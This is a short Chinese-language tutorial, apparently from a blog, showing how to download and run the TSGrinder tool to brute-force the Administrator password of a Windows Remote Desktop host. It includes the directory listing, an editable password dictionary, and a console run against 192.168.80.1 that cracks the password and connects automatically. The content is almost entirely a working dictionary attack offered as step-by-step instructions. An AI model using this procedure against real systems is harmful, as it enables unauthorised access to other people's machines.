TSGinder可以通过网站http://www.hammerofgod.com/downloads.php，找到tsgrinder v2.03并下载到本地，通过Dos进入文件所在目录


C:\Documents and Settings\Administrator>cd C:\net share\tsgrinder-2.03


C:\net share\tsgrinder-2.03>dir

驱动器 C 中的卷没有标签。

卷的序列号是 AC3D-0B63


C:\net share\tsgrinder-2.03 的目录


2013-07-10  23:18    

         .

2013-07-10  23:18    

         ..

2000-02-17  03:10            69,632 clxtshar.dll

2013-07-10  23:22               106 dict

2003-06-16  10:53                18 leet

2003-05-12  17:58               727 smclient.ini

2000-02-17  03:10            68,096 tclient.dll

2003-07-30  00:09           192,570 tsgrinder.exe

              6 个文件        331,149 字节

              2 个目录 12,927,471,616 可用字节


   该目录下有一个密码字典文件dict，内容可以自行编辑


C:\net share\tsgrinder-2.03>more dict

apple

orange

pear

monkey

racoon

giraffe

dog

cat

balls

phone

circle

square

pencil


   获取***对象的IP地址，输入以下命令，开始密码猜测***


C:\net share\tsgrinder-2.03>tsgrinder 192.168.80.1

password apple - failed

password orange - failed

password pear - failed

password monkey - failed

password racoon - success!

^C

C:\net share\tsgrinder-2.03>


   默认以administrator为账号名，当猜测到正确密码时，显示“success！”，密码猜测过程，会伴随着自动远程桌面连接目标主机。